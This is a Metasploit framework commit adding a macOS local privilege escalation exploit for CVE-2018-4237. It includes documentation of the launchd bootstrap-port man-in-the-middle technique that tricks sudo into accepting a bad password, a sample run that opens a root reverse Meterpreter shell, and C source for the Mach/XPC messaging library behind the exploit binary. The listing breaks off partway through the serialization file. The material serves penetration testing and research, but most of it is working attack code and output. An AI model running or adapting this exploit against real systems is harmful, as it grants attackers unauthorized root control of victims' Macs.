Land #10965, Add the macOS LPE from pwn2own2018 (CVE-2018-4237)

GSoC/Meterpreter_Web_Console
Wei Chen 2018-11-27 14:00:35 -06:00
commit d523124faf
No known key found for this signature in database
GPG Key ID: 6E162ED2C01D9AAC
21 changed files with 1786 additions and 0 deletions

BIN
data/exploits/CVE-2018-4237/ssudo Executable file

Binary file not shown.

View File

@ -0,0 +1,48 @@
## Vulnerable Application
This vulnerability works against OSX <= 10.13.3 (High Sierra). It has
been tested against El Capitan (10.11), Sierra (10.12) and High Sierra,
however it may work on older versions.
The task_set_special_port API allows callers to overwrite their bootstrap port,
which is used to communicate with launchd. This port is inherited across forks:
child processes will use the same bootstrap port as the parent.
By overwriting the bootstrap port and forking a child processes, we can now gain
a MitM position between our child and launchd.
To gain root we target the sudo binary and intercept its communication with
opendirectoryd, which is used by sudo to verify credentials. We modify the
replies from opendirectoryd to make it look like our password was valid.
## Verification Steps
1. Get a session on a vulnerable system
2. `use exploit/osx/local/libxpc_mitm_ssudo`
3. `set lhost <IP>`
4. `set lport <PORT>`
5. `set session <session_id>`
6. `run`
## Scenarios
### Example Run
```
msf5 exploit(multi/handler) > use exploit/osx/local/libxpc_mitm_ssudo
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LPORT 4446
LPORT => 4446
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set SESSION 1
SESSION => 1
msf5 exploit(osx/local/libxpc_mitm_ssudo) > exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.2:4446
[*] Uploading file: '/tmp/romrvmmf'
[*] Uploading file: '/tmp/kflrjdgv'
[*] Executing cmd '/tmp/romrvmmf /tmp/kflrjdgv'
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(4088 bytes)
[*] Sending stage (808168 bytes) to 192.168.0.2
[*] Meterpreter session 2 opened (192.168.0.2:4446 -> 192.168.0.2:50020) at 2018-11-20 16:08:05 +0800
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```

View File

@ -0,0 +1,10 @@
all:
+$(MAKE) -C ssudo
install:
cp ssudo/ssudo ../../../../data/exploits/CVE-2018-4237/ssudo
clean:
rm -f ssudo/ssudo

View File

@ -0,0 +1,74 @@
#include "datatypes.h"
#include "utils.h"
#include <stdlib.h>
#include <stdio.h>
spc_array_t* spc_array_create()
{
return calloc(sizeof(spc_array_t), 1);
}
void spc_array_destroy(spc_array_t* array)
{
for (size_t i = 0; i < array->length; i++)
spc_value_destroy(array->values[i]);
free(array->values);
free(array);
}
size_t spc_array_get_length(spc_array_t* array)
{
return array->length;
}
static void resize_array(spc_array_t* array, size_t length)
{
if (array->length >= length)
return;
size_t prev_length = array->length;
if (array->capacity < length) {
array->capacity *= 2;
if (array->capacity == 0)
array->capacity = 4; // initial capacity
array->values = realloc(array->values, array->capacity * sizeof(spc_value_t));
ASSERT(array->values);
}
array->length = length;
// Null initialize
for (size_t i = prev_length; i < length; i++)
array->values[i].type = SPC_TYPE_NULL;
}
void spc_array_set_value(spc_array_t* array, size_t index, spc_value_t value)
{
if (index >= array->length)
resize_array(array, index + 1);
array->values[index] = value;
}
void spc_array_set_data(spc_array_t* array, size_t index, void* data, size_t length)
{
void* buf = malloc(length);
memcpy(buf, data, length);
spc_value_t value;
value.type = SPC_TYPE_DATA;
value.value.data.ptr = buf;
value.value.data.size = length;
spc_array_set_value(array, index, value);
}
spc_value_t spc_array_get_value(spc_array_t* array, size_t index)
{
if (index < array->length)
return array->values[index];
return spc_null_create();
}

View File

@ -0,0 +1,14 @@
#ifndef _ARRAY_H_
#define _ARRAY_H_
#include "datatypes.h"
spc_array_t* spc_array_create();
size_t spc_array_get_length(spc_array_t* array);
void spc_array_set_value(spc_array_t* array, size_t index, spc_value_t value);
void spc_array_set_data(spc_array_t* array, size_t index, void* data, size_t length);
#endif

View File

@ -0,0 +1,223 @@
#include "datatypes.h"
#include "dictionary.h"
#include "serialization.h"
#include "utils.h"
#include "connection.h"
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
spc_message_t* spc_recv(mach_port_t port)
{
// TODO hack
spc_mach_message_t* machmsg = malloc(0x10000);
mach_msg_return_t kr = mach_msg(&machmsg->header, MACH_RCV_MSG, 0, 0x10000, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_MACH_SUCCESS(kr, "mach_msg_recv");
spc_message_t* msg = spc_deserialize(machmsg);
free(machmsg);
return msg;
}
void spc_send(spc_message_t* msg)
{
spc_mach_message_t* machmsg = spc_serialize(msg);
mach_msg_return_t kr = mach_msg(&machmsg->header, MACH_SEND_MSG, machmsg->header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_MACH_SUCCESS(kr, "mach_msg_send");
free(machmsg);
}
void spc_interface_routine(int subsytem_nr, int routine_nr, spc_dictionary_t* dict, spc_dictionary_t** reply)
{
mach_port_t bootstrap_port;
kern_return_t kr;
spc_dictionary_set_uint64(dict, "subsystem", subsytem_nr);
spc_dictionary_set_uint64(dict, "routine", routine_nr);
kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "task_get_special_port");
spc_message_t msg;
msg.remote_port.name = bootstrap_port;
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
msg.local_port.name = mig_get_reply_port();
msg.local_port.type = MACH_MSG_TYPE_MAKE_SEND_ONCE;
msg.id = 0x10000000;
msg.content = dict;
spc_send(&msg);
spc_message_t* reply_msg = spc_recv(mig_get_reply_port());
*reply = reply_msg->content;
free(reply_msg);
}
void spc_domain_routine(int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply)
{
return spc_interface_routine(3, routine_nr, msg, reply);
}
kern_return_t spc_look_up_endpoint(const char* name, uint64_t type, uint64_t handle, uint64_t lookup_handle, uint64_t flags, mach_port_t* remote_port)
{
spc_dictionary_t* msg = spc_dictionary_create();
spc_dictionary_set_string(msg, "name", name);
spc_dictionary_set_uint64(msg, "type", type);
spc_dictionary_set_uint64(msg, "handle", handle);
spc_dictionary_set_uint64(msg, "lookup-handle", lookup_handle);
spc_dictionary_set_uint64(msg, "flags", flags);
spc_dictionary_t* reply;
spc_domain_routine(0x324, msg, &reply);
spc_dictionary_destroy(msg);
if (spc_dictionary_get_int64(reply, "error") != 0) {
return KERN_FAILURE;
}
*remote_port = spc_dictionary_get_send_port(reply, "port");
spc_dictionary_destroy(reply);
return KERN_SUCCESS;
}
spc_connection_t* spc_create_connection_mach_port(mach_port_t service_port)
{
kern_return_t kr;
mach_port_t send_port, receive_port;
// Allocate send port. Receive right will be transferred to remote end.
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &send_port);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
// Allocate receive port. A send right will be created and send to the remote end.
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
spc_connection_t* connection = malloc(sizeof(spc_connection_t));
connection->receive_port = receive_port;
// Extract a send right for the send_port.
mach_msg_type_name_t aquired_type;
kr = mach_port_extract_right(mach_task_self(), send_port, MACH_MSG_TYPE_MAKE_SEND, &connection->send_port, &aquired_type);
ASSERT_MACH_SUCCESS(kr, "mach_port_extract_right");
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t send_port;
mach_msg_port_descriptor_t receive_port;
} msg;
msg.header.msgh_remote_port = service_port;
msg.header.msgh_local_port = MACH_PORT_NULL;
msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_id = 1999646836; // Copy-pasted from mach message trace
msg.body.msgh_descriptor_count = 2;
msg.send_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.send_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
msg.send_port.name = send_port;
msg.receive_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.receive_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.receive_port.name = receive_port;
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_MACH_SUCCESS(kr, "mach_msg_send");
return connection;
}
spc_connection_t* spc_create_connection_mach_service(const char* service_name)
{
kern_return_t kr;
mach_port_t service_port;
kr = spc_look_up_endpoint(service_name, 7, 0, 0, 0, &service_port);
if (kr != KERN_SUCCESS) {
return NULL;
}
return spc_create_connection_mach_port(service_port);
}
spc_connection_t* spc_accept_connection(mach_port_t port)
{
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t recv_port;
mach_msg_port_descriptor_t send_port;
mach_msg_trailer_t trailer;
} msg;
mach_msg_return_t kr = mach_msg(&msg.header, MACH_RCV_MSG, 0, sizeof(msg), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_MACH_SUCCESS(kr, "mach_msg_recv");
spc_connection_t* connection = malloc(sizeof(spc_connection_t));
connection->receive_port = msg.recv_port.name;
connection->send_port = msg.send_port.name;
return connection;
}
void spc_connection_send(spc_connection_t* connection, spc_dictionary_t* dict)
{
spc_message_t msg;
msg.id = 0x10000000;
msg.remote_port.name = connection->send_port;
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
msg.local_port.name = MACH_PORT_NULL;
msg.local_port.type = 0;
msg.content = dict;
spc_send(&msg);
}
spc_dictionary_t* spc_connection_send_with_reply(spc_connection_t* connection, spc_dictionary_t* dict)
{
spc_message_t msg;
msg.id = 0x10000000;
msg.remote_port.name = connection->send_port;
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
msg.local_port.name = mig_get_reply_port();
msg.local_port.type = MACH_MSG_TYPE_MAKE_SEND_ONCE;
msg.content = dict;
spc_send(&msg);
spc_message_t* reply = spc_recv(msg.local_port.name);
dict = reply->content;
free(reply);
return dict;
}
spc_dictionary_t* spc_connection_recv(spc_connection_t* connection)
{
spc_message_t* msg = spc_recv(connection->receive_port);
spc_dictionary_t* dict = msg->content;
free(msg);
return dict;
}
void spc_reply(spc_message_t* orig, spc_dictionary_t* reply)
{
spc_message_t msg;
msg.id = 0x20000000;
msg.remote_port.name = orig->local_port.name;
msg.remote_port.type = MACH_MSG_TYPE_MOVE_SEND_ONCE;
msg.local_port.name = MACH_PORT_NULL;
msg.local_port.type = 0;
msg.content = reply;
spc_send(&msg);
}

View File

@ -0,0 +1,25 @@
#ifndef _CONNECTION_H_
#define _CONNECTION_H_
#include "datatypes.h"
void spc_interface_routine(int subsytem_nr, int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply);
void spc_domain_routine(int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply);
kern_return_t spc_look_up_endpoint(const char* name, uint64_t type, uint64_t handle, uint64_t lookup_handle, uint64_t flags, mach_port_t* remote_port);
spc_connection_t* spc_create_connection_mach_port(mach_port_t service_port);
spc_connection_t* spc_create_connection_mach_service(const char* service_name);
spc_connection_t* spc_accept_connection(mach_port_t port);
// Low-level send/recv API
void spc_send(spc_message_t* msg);
spc_message_t* spc_recv(mach_port_t port);
void spc_reply(spc_message_t* msg, spc_dictionary_t* reply);
// High-level send/recv API
void spc_connection_send(spc_connection_t* connection, spc_dictionary_t* msg);
spc_dictionary_t* spc_connection_send_with_reply(spc_connection_t* connection, spc_dictionary_t* msg);
spc_dictionary_t* spc_connection_recv(spc_connection_t* connection);
#endif

View File

@ -0,0 +1,43 @@
#include <stdlib.h>
#include "datatypes.h"
const spc_port_t SPC_NULL_PORT = {.name = MACH_PORT_NULL, .type = 0};
spc_value_t spc_null_create()
{
spc_value_t null = { .type = SPC_TYPE_NULL };
return null;
}
void spc_value_destroy(spc_value_t value)
{
switch (value.type) {
case SPC_TYPE_STRING:
free(value.value.str);
break;
case SPC_TYPE_UUID:
free(value.value.ptr);
break;
case SPC_TYPE_DATA:
free(value.value.data.ptr);
break;
case SPC_TYPE_ARRAY:
spc_array_destroy(value.value.array);
break;
case SPC_TYPE_DICT:
spc_dictionary_destroy(value.value.dict);
break;
case SPC_TYPE_SEND_PORT:
case SPC_TYPE_RECV_PORT:
case SPC_TYPE_FD:
mach_port_deallocate(mach_task_self(), value.value.port.name);
break;
}
}
void spc_message_destroy(spc_message_t* msg)
{
spc_dictionary_destroy(msg->content);
free(msg);
}

View File

@ -0,0 +1,91 @@
#ifndef _DATATYPES_H_
#define _DATATYPES_H_
#include <stdint.h>
#include <mach/mach.h>
typedef struct {
mach_port_t send_port; // A send right to a port on which the remote end can receive
mach_port_t receive_port;
} spc_connection_t;
#define SPC_TYPE_NULL 0x1000
#define SPC_TYPE_BOOL 0x2000
#define SPC_TYPE_INT64 0x3000
#define SPC_TYPE_UINT64 0x4000
#define SPC_TYPE_DOUBLE 0x5000
#define SPC_TYPE_DATA 0x8000
#define SPC_TYPE_STRING 0x9000
#define SPC_TYPE_UUID 0xa000
#define SPC_TYPE_FD 0xb000
#define SPC_TYPE_SHMEM 0xc000
#define SPC_TYPE_SEND_PORT 0xd000
#define SPC_TYPE_ARRAY 0xe000
#define SPC_TYPE_DICT 0xf000
#define SPC_TYPE_RECV_PORT 0x15000
typedef struct _spc_dictionary_t spc_dictionary_t;
typedef struct _spc_array_t spc_array_t;
typedef struct {
mach_port_t name;
mach_msg_type_name_t type;
} spc_port_t;
const spc_port_t SPC_NULL_PORT;
typedef struct {
unsigned char* ptr;
size_t size;
} spc_data_t;
typedef struct {
uint32_t type;
union {
uint64_t u64;
int64_t i64;
double dbl;
char* str;
void* ptr;
spc_data_t data;
spc_dictionary_t* dict;
spc_array_t* array;
spc_port_t port;
} value;
} spc_value_t;
spc_value_t spc_null_create();
void spc_value_destroy(spc_value_t value);
typedef struct _spc_array_t {
spc_value_t* values;
size_t length;
size_t capacity;
} spc_array_t;
typedef struct _spc_dictionary_item_t {
char* key;
spc_value_t value;
struct _spc_dictionary_item_t* next;
} spc_dictionary_item_t;
typedef struct _spc_dictionary_t {
spc_dictionary_item_t* items;
size_t num_items;
} spc_dictionary_t;
void spc_array_destroy(spc_array_t* dict);
void spc_dictionary_destroy(spc_dictionary_t* dict);
// A message is essentially a mach message header and a dictionary
typedef struct {
spc_port_t local_port;
spc_port_t remote_port;
unsigned int id;
spc_dictionary_t* content;
} spc_message_t;
void spc_message_destroy(spc_message_t* msg);
#endif

View File

@ -0,0 +1,262 @@
#include "datatypes.h"
#include "utils.h"
#include <stdlib.h>
#include <stdio.h>
extern int fileport_makeport(int fd, mach_port_t* port);
spc_dictionary_t* spc_dictionary_create()
{
return calloc(sizeof(spc_dictionary_t), 1);
}
void spc_dictionary_destroy(spc_dictionary_t* dict)
{
spc_dictionary_item_t* current, *last;
current = dict->items;
while (current) {
free(current->key);
spc_value_destroy(current->value);
last = current;
current = current->next;
free(last);
}
free(dict);
}
spc_dictionary_item_t* spc_dictionary_lookup(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* current = dict->items;
while (current) {
if (strcmp(current->key, key) == 0)
return current;
current = current->next;
}
return NULL;
}
spc_dictionary_item_t* spc_dictionary_add_item(spc_dictionary_t* dict, const char* key, uint32_t type)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (item) {
spc_value_destroy(item->value);
} else {
item = malloc(sizeof(spc_dictionary_item_t));
item->next = dict->items;
dict->items = item;
dict->num_items++;
item->key = strdup(key);
}
item->value.type = type;
return item;
}
void spc_dictionary_set_value(spc_dictionary_t* dict, const char* key, spc_value_t value)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_STRING);
item->value = value;
}
void spc_dictionary_set_string(spc_dictionary_t* dict, const char* key, const char* value)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_STRING);
item->value.value.str = strdup(value);
}
void spc_dictionary_set_uint64(spc_dictionary_t* dict, const char* key, uint64_t value)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_UINT64);
item->value.value.u64 = value;
}
void spc_dictionary_set_int64(spc_dictionary_t* dict, const char* key, int64_t value)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_INT64);
item->value.value.i64 = value;
}
void spc_dictionary_set_data(spc_dictionary_t* dict, const char* key, const void* bytes, size_t len)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_DATA);
void* buf = malloc(len);
memcpy(buf, bytes, len);
item->value.value.data.ptr = buf;
item->value.value.data.size = len;
}
void spc_dictionary_set_fd(spc_dictionary_t* dict, const char* key, int fd)
{
mach_port_t fileport;
fileport_makeport(fd, &fileport);
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_FD);
item->value.value.port.name = fileport;
item->value.value.port.type = MACH_MSG_TYPE_COPY_SEND;
}
// TODO make port type a parameter
void spc_dictionary_set_send_port(spc_dictionary_t* dict, const char* key, mach_port_t port)
{
mach_port_addref(port, MACH_PORT_RIGHT_SEND);
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_SEND_PORT);
item->value.value.port.name = port;
item->value.value.port.type = MACH_MSG_TYPE_COPY_SEND;
}
void spc_dictionary_set_receive_port(spc_dictionary_t* dict, const char* key, mach_port_t port)
{
mach_port_addref(port, MACH_PORT_RIGHT_RECEIVE);
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_RECV_PORT);
item->value.value.port.name = port;
item->value.value.port.type = MACH_MSG_TYPE_MOVE_RECEIVE;
}
void spc_dictionary_set_bool(spc_dictionary_t* dict, const char* key, int value)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_BOOL);
item->value.value.u64 = value;
}
uint64_t spc_dictionary_get_uint64(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_UINT64)
return 0;
return item->value.value.u64;
}
int64_t spc_dictionary_get_int64(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_INT64)
return 0;
return item->value.value.i64;
}
const char* spc_dictionary_get_string(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_STRING)
return NULL;
return item->value.value.str;
}
int spc_dictionary_get_bool(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_BOOL)
return 0;
return item->value.value.u64;
}
mach_port_t spc_dictionary_get_send_port(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_SEND_PORT)
return MACH_PORT_NULL;
mach_port_addref(item->value.value.port.name, MACH_PORT_RIGHT_SEND);
return item->value.value.port.name;
}
mach_port_t spc_dictionary_get_receive_port(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_RECV_PORT)
return MACH_PORT_NULL;
mach_port_addref(item->value.value.port.name, MACH_PORT_RIGHT_RECEIVE);
return item->value.value.port.name;
}
void spc_dump_value(spc_value_t value, int indent)
{
char* indent_str = malloc(indent + 1);
memset(indent_str, ' ', indent);
indent_str[indent] = 0;
switch (value.type) {
case SPC_TYPE_NULL:
printf("%*cnull\n", indent, ' ');
break;
case SPC_TYPE_BOOL:
printf("%*c%s\n", indent, ' ', value.value.u64 ? "true" : "false");
break;
case SPC_TYPE_UINT64:
printf("%*c%llu\n", indent, ' ', value.value.u64);
break;
case SPC_TYPE_INT64:
printf("%*c%lli\n", indent, ' ', value.value.i64);
break;
case SPC_TYPE_DOUBLE:
printf("%*c%f\n", indent, ' ', value.value.dbl);
break;
case SPC_TYPE_STRING:
printf("%*c%s\n", indent, ' ', value.value.str);
break;
case SPC_TYPE_UUID: {
char buf[0x21];
for (int i = 0; i < 0x10; i++) {
sprintf(&buf[2*i], "%02x", ((unsigned char*)value.value.str)[i]);
}
buf[0x20] = 0;
printf("%*cuuid: %s\n", indent, ' ', buf);
break;
}
case SPC_TYPE_ARRAY: {
spc_array_t* array = value.value.array;
printf("%*c[\n", indent, ' ');
for (size_t i = 0; i < array->length; i++) {
spc_dump_value(array->values[i], indent + 2);
}
printf("%*c]\n", indent, ' ');
break;
}
case SPC_TYPE_DICT: {
spc_dictionary_item_t* current = value.value.dict->items;
while (current) {
printf("%*c%s:\n", indent, ' ', current->key);
spc_dump_value(current->value, indent + 2);
current = current->next;
}
break;
}
case SPC_TYPE_SEND_PORT:
printf("%*cport send right: %d\n", indent, ' ', value.value.port.name);
break;
case SPC_TYPE_RECV_PORT:
printf("%*cport receive right: %d\n", indent, ' ', value.value.port.name);
break;
case SPC_TYPE_DATA:
printf("%*cdata: 0x", indent, ' ');
for (size_t i = 0; i < value.value.data.size; i++)
printf("%02x", value.value.data.ptr[i]);
printf("\n");
break;
default:
printf("%*cUnknown item of type %d\n", indent, ' ', value.type);
}
free(indent_str);
}
void spc_dump(spc_dictionary_t* dict)
{
spc_value_t value;
value.type = SPC_TYPE_DICT;
value.value.dict = dict;
spc_dump_value(value, 0);
}

View File

@ -0,0 +1,30 @@
#ifndef _DICTIONARY_H_
#define _DICTIONARY_H_
#include "datatypes.h"
spc_dictionary_t* spc_dictionary_create();
void spc_dictionary_set_value(spc_dictionary_t* dict, const char* key, spc_value_t value);
void spc_dictionary_set_string(spc_dictionary_t* dict, const char* key, const char* value);
void spc_dictionary_set_uint64(spc_dictionary_t* dict, const char* key, uint64_t value);
void spc_dictionary_set_int64(spc_dictionary_t* dict, const char* key, int64_t value);
void spc_dictionary_set_bool(spc_dictionary_t* dict, const char* key, int value);
void spc_dictionary_set_data(spc_dictionary_t* dict, const char* key, const void* value, size_t len);
void spc_dictionary_set_send_port(spc_dictionary_t* dict, const char* key, mach_port_t port);
void spc_dictionary_set_receive_port(spc_dictionary_t* dict, const char* key, mach_port_t port);
void spc_dictionary_set_fd(spc_dictionary_t* dict, const char* key, int fd);
spc_dictionary_item_t* spc_dictionary_lookup(spc_dictionary_t* dict, const char* key);
mach_port_t spc_dictionary_get_send_port(spc_dictionary_t* dict, const char* key);
mach_port_t spc_dictionary_get_receive_port(spc_dictionary_t* dict, const char* key);
uint64_t spc_dictionary_get_uint64(spc_dictionary_t* dict, const char* key);
uint64_t spc_dictionary_get_int64(spc_dictionary_t* dict, const char* key);
const char* spc_dictionary_get_string(spc_dictionary_t* dict, const char* key);
int spc_dictionary_get_bool(spc_dictionary_t* dict, const char* key);
void spc_dump(spc_dictionary_t* dict);
#endif

View File

@ -0,0 +1,469 @@
#include "serialization.h"
#include "array.h"
#include "dictionary.h"
#include "utils.h"
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
typedef struct {
unsigned char* start;
unsigned char* end;
unsigned char* ptr;
size_t num_ports;
spc_port_t* ports;
} writer_t;
typedef struct {
unsigned char* end;
unsigned char* ptr;
size_t next_port;
size_t num_ports;
spc_port_t* ports;
} reader_t;
char last_header[8] = "CPX@\x05\x00\x00\x00";
void spc_ensure_space(writer_t* writer, size_t num_bytes)
{
if (writer->ptr + num_bytes > writer->end) {
size_t new_size = (writer->end - writer->start) + num_bytes;
void* buf = realloc(writer->start, new_size);
writer->ptr = buf + (writer->ptr - writer->start);
writer->start = buf;
writer->end = buf + new_size;
}
}
size_t spc_write(writer_t* writer, void* buf, size_t len)
{
spc_ensure_space(writer, len);
memcpy(writer->ptr, buf, len);
writer->ptr += len;
return len;
}
size_t spc_write_padded(writer_t* writer, const void* buf, size_t len)
{
size_t remainder = (4 - (len % 4)) % 4;
spc_ensure_space(writer, len + remainder);
memcpy(writer->ptr, buf, len);
writer->ptr += len;
memset(writer->ptr, 0, remainder);
writer->ptr += remainder;
return len + remainder;
}
size_t spc_write_str(writer_t* writer, const char* str)
{
return spc_write_padded(writer, str, strlen(str) + 1);
}
size_t spc_write_uint32(writer_t* writer, uint32_t val)
{
// TODO replace with
// spc_write(writer, &val, 4);
spc_ensure_space(writer, 4);
memcpy(writer->ptr, &val, 4);
writer->ptr += 4;
return 4;
}
size_t spc_write_uint64(writer_t* writer, uint64_t val)
{
spc_ensure_space(writer, 8);
memcpy(writer->ptr, &val, 8);
writer->ptr += 8;
return 8;
}
size_t spc_write_int64(writer_t* writer, uint64_t val)
{
spc_ensure_space(writer, 8);
memcpy(writer->ptr, &val, 8);
writer->ptr += 8;
return 8;
}
size_t spc_write_double(writer_t* writer, double val)
{
spc_ensure_space(writer, 8);
memcpy(writer->ptr, &val, 8);
writer->ptr += 8;
return 8;
}
void spc_write_port(writer_t* writer, spc_port_t port)
{
writer->ports = realloc(writer->ports, (writer->num_ports + 1) * sizeof(spc_port_t));
writer->ports[writer->num_ports] = port;
writer->num_ports += 1;
}
size_t spc_write_array(writer_t* writer, spc_array_t* array);
size_t spc_write_dict(writer_t* writer, spc_dictionary_t* dict);
size_t spc_serialize_value(writer_t* writer, spc_value_t value)
{
size_t bytes_written = 0;
bytes_written += spc_write_uint32(writer, value.type);
switch (value.type) {
case SPC_TYPE_NULL:
break;
case SPC_TYPE_BOOL:
bytes_written += spc_write_uint32(writer, value.value.u64);
break;
case SPC_TYPE_UINT64:
bytes_written += spc_write_uint64(writer, value.value.u64);
break;
case SPC_TYPE_INT64:
bytes_written += spc_write_int64(writer, value.value.i64);
break;
case SPC_TYPE_DOUBLE:
bytes_written += spc_write_double(writer, value.value.dbl);
break;
case SPC_TYPE_STRING:
bytes_written += spc_write_uint32(writer, strlen(value.value.str) + 1);
bytes_written += spc_write_str(writer, value.value.str);
break;
case SPC_TYPE_ARRAY:
bytes_written += spc_write_array(writer, value.value.array);
break;
case SPC_TYPE_DICT:
bytes_written += spc_write_dict(writer, value.value.dict);
break;
case SPC_TYPE_FD:
case SPC_TYPE_SEND_PORT:
case SPC_TYPE_RECV_PORT:
spc_write_port(writer, value.value.port);
break;
case SPC_TYPE_UUID:
bytes_written += spc_write(writer, value.value.ptr, 0x10);
break;
case SPC_TYPE_DATA:
bytes_written += spc_write_uint32(writer, value.value.data.size);
bytes_written += spc_write_padded(writer, value.value.data.ptr, value.value.data.size);
break;
default:
printf("Unsupported value type: 0x%x\n", value.type);
}
return bytes_written;
}
size_t spc_write_array(writer_t* writer, spc_array_t* array)
{
size_t bytes_written = 0;
ptrdiff_t bytesize_offset = writer->ptr - writer->start;
spc_write_uint32(writer, 0); // placeholder for byte size
bytes_written += spc_write_uint32(writer, array->length);
for (size_t i = 0; i < array->length; i++) {
bytes_written += spc_serialize_value(writer, array->values[i]);
}
// Fill in correct byte size
*(uint32_t*)(writer->start + bytesize_offset) = bytes_written;
return bytes_written + 4;
}
size_t spc_write_dict(writer_t* writer, spc_dictionary_t* dict)
{
size_t bytes_written = 0;
ptrdiff_t bytesize_offset = writer->ptr - writer->start;
spc_write_uint32(writer, 0); // placeholder for byte size
bytes_written += spc_write_uint32(writer, dict->num_items);
for (spc_dictionary_item_t* item = dict->items; item != NULL; item = item->next) {
bytes_written += spc_write_str(writer, item->key);
bytes_written += spc_serialize_value(writer, item->value);
}
// Fill in correct byte size
*(uint32_t*)(writer->start + bytesize_offset) = bytes_written;
return bytes_written + 4;
}
spc_mach_message_t* spc_serialize(spc_message_t* msg)
{
spc_mach_message_t* mach_msg;
size_t actual_size, content_size, initial_size = msg->content->num_items * 32; // heuristic
writer_t writer;
writer.start = malloc(initial_size);
writer.end = writer.start + initial_size;
writer.ptr = writer.start;
writer.ports = NULL;
writer.num_ports = 0;
spc_write(&writer, last_header, 8);
spc_write_uint32(&writer, SPC_TYPE_DICT);
spc_write_dict(&writer, msg->content);
content_size = writer.ptr - writer.start;
char* ptr;
if (writer.num_ports != 0) {
// Must create a complex messge
actual_size = sizeof(mach_msg_header_t) + sizeof(mach_msg_body_t) + writer.num_ports * sizeof(mach_msg_port_descriptor_t) + content_size;
mach_msg = malloc(actual_size);
mach_msg->header.msgh_bits = MACH_MSGH_BITS_COMPLEX;
ptr = (char*)mach_msg + sizeof(mach_msg_header_t);
mach_msg_body_t* body = (mach_msg_body_t*)ptr;
body->msgh_descriptor_count = writer.num_ports;
ptr += sizeof(mach_msg_body_t);
for (size_t i = 0; i < writer.num_ports; i++) {
mach_msg_port_descriptor_t* descriptor = (mach_msg_port_descriptor_t*)ptr;
descriptor->type = MACH_MSG_PORT_DESCRIPTOR;
descriptor->name = writer.ports[i].name;
descriptor->disposition = writer.ports[i].type;
ptr += sizeof(mach_msg_port_descriptor_t);
}
} else {
actual_size = sizeof(mach_msg_header_t) + content_size;
mach_msg = malloc(actual_size);
mach_msg->header.msgh_bits = 0;
ptr = (char*)mach_msg->buf;
}
// Fill in the mach message
mach_msg->header.msgh_remote_port = msg->remote_port.name;
mach_msg->header.msgh_local_port = msg->local_port.name;
mach_msg->header.msgh_id = msg->id;
mach_msg->header.msgh_size = actual_size;
mach_msg->header.msgh_bits |= MACH_MSGH_BITS(msg->remote_port.type, msg->local_port.type);
memcpy(ptr, writer.start, content_size);
free(writer.start);
return mach_msg;
}
void* spc_read(reader_t* reader, size_t len)
{
// Let it crash if the received message is invalid...
